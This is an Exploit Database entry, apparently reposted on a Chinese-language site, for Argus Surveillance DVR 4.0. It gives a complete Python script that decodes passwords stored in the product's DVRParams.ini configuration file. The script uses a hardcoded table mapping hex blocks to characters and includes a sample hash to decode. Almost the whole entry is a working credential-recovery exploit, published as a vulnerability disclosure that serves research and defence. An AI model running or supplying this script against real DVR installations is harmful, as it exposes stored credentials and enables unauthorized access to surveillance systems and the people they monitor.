Argus Surveillance DVR 4.0 – Weak Password Encryption

• Exploit Database
• 41 阅读

• 作者： Salman Asad
  日期： 2021-07-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50130/

• # Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
  # Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
  # Date: 12.07.2021
  # Version: Argus Surveillance DVR 4.0
  # Tested on: Windows 7 x86 (Build 7601) & Windows 10
  # Reference: https://deathflash1411.github.io/blog/dvr4-hash-crack
  
  # Note: Argus Surveillance DVR 4.0 configuration is present in 
  # C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini
  
  # I'm too lazy to add special characters :P
  characters = {
  'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
  'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
  'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
  'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
  '8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
  '7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
  '8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
  'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
  'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
  '906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
  '7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
  'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z','!':'B398'}
  
  # ASCII art is important xD
  banner = '''
  #########################################
  #_____ Surveillance DVR 4.0 #
  # /_\_____________ ________ #
  #//_\\___ \/ ___\||\/___/ #
  # /|\| \/ /_/>|/\___ \#
  # \____|__/__|\___/|____//____> #
  # \/ /_____/\/#
  #Weak Password Encryption #
  ############ @deathflash1411 ############
  '''
  print(banner)
  
  # Change this :)
  pass_hash = "418DB740F641E03B956BE1D03F7EF6419083956BECB453D1ECB4ECB4"
  if (len(pass_hash)%4) != 0:
  	print("[!] Error, check your password hash")
  	exit()
  split = []
  n = 4
  for index in range(0, len(pass_hash), n):
  	split.append(pass_hash[index : index + n])
  
  for key in split:
  	if key in characters.keys():
  		print("[+] " + key + ":" + characters[key])
  	else:
  		print("[-] " + key + ":Unknown")